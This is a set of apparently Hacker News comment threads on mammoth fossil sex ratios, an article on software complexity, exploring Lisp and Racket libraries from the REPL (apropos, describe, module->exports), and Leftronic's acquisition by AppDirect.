</comment></comment></comment></comment><comment><USER18> I don't understand the argument. All mammoths die.

<comment><USER13> 1) location of death (or final resting place, anyway) matters a ton for likelihood of fossilization,

2) not all animals die in the same places,

3) if sex has an influence on the distribution of likelihood of dying (or ending up in—water carries corpses, predators and carrion-eaters may drag them) in fossilization-friendly locations, we'd expect to see a difference in the rates of fossil discovers of that species by sex, different from whatever actual distribution there was of male & female in the original population.

</comment></comment><comment><USER19> Could females be eaten more so there is less remains?

<comment><USER20> Most animals don't eat bone though

</comment></comment><comment><USER21> The patriarchy strikes again.</comment>


Complexity and Strategy (2017) - <AUTHOR> https://hackernoon.com/complexity-and-strategy-325cd7f59a92 <comment><USER2> I feel like we should be able to permanently upvote this article to the top of HN for all time. Very fundamental insights into software complexity challenges.

</comment><comment><USER3> Discussed at the time: [https://news.ycombinator.com/item?id=13953823](https://news.ycombinator.com/item?id=13953823)</comment>


Ask HN: How do you explore a Lisp/Scheme? - <AUTHOR>

Most of the programming I have done is in Python. One of my favorite features in Python is that

  >>> help(X)

 gives useful information for just about any object X.  This is great for exploring modules, learning about the methods and member variables of classes, and finding out what functions do; it's an important "bottom-up" tool for exploring the language. In Python, I can often think, "I need something similar to, but not quite the same as, X; X is defined in module M; so let's do help(M) to see if M has the function I want." Often, I can tell at a glance over the docstrings that the function I need is there.
This is complemented by the quality of documentation for the Python standard library, which provides an excellent "top-down" reference. Between these two features, I usually have no trouble finding just the function I need when I need it.
In my efforts to learn Lisp, particularly various Scheme implementations, I often find myself thinking: "I know there's already a library function to do this; now how do I find it?" I find it more difficult to browse modules, particularly in the "bottom-up" way I'm used to from Python.  I find this somewhat surprising, given Lisp's reputation as a language for doing bottom-up, exploratory programming.
How do Lisp hackers explore their language, particularly when they're starting to learn a new implementation?  Is there some Lisp equivalent of help() that I'm not aware of? I can't believe that the answer is just: "Read R?RS. Read the HyperSpec. Read the code." Am I missing something? <comment><USER2> For lisp theres apropos, describe and documentation. Also slime comes with slime inspector which is pretty nice. If youre using lispworks or franz they have fancy inspectors too. If youre doing scheme then racket (formerly plt scheme) comes with the best documentation system Ive ever seen in a programming environment.

<comment><AUTHOR> That's helpful, thanks! Though often, the problem I have is that I don't know the name of the function I'm looking for, so things like apropos, describe, and documentation aren't going to be much help unless I can apply them to packages/modules.

I have so far spent the most time learning Racket. Their documentation is great, but I do wish that I could explore the library more from the REPL, rather than escaping to a browser. Do you know of any way in Racket to do something like (e.g.):

      (require racket/vector)
      (help racket/vector)

where the latter form would print a quick summary of what's exported by the racket/vector module?

<comment><USER2> In racket you can use the "Help Desk" from the Help menu which has really comprehensive browser based documentation. I am looking to see if there is anything for repl based exploration.

<comment><USER2> module->exports is what you need.

<comment><AUTHOR> Awesome, thanks!</comment></comment></comment></comment></comment>


Leftronic (YC S10) Acquired by AppDirect - <AUTHOR> https://www.leftronic.com/blog/leftronic-acquired-by-appdirect-free-hdtv-pc-new-customers/

<comment><USER2> Seems like data viz is being consolidated in the industry. Wonder if it's more appealing for B2Bs to have their own solutions.

</comment><comment><USER3> This is awesome to hear - the Leftronics' guys really deserve it. Looking forward to what comes next.

</comment><comment><USER4> Sweet deal! Looking forward to what's next for the Leftronic product.

</comment><comment><USER5> This has been an awesome ride! Very excited about the future!

<comment><USER6> More time for Scrabble, hopefully? ;)

</comment></comment><comment><USER7> Congrats Leftronic! Very well deserved.

</comment><comment><USER8> Congrats guys!

</comment><comment><USER9> Congrats guys!</comment>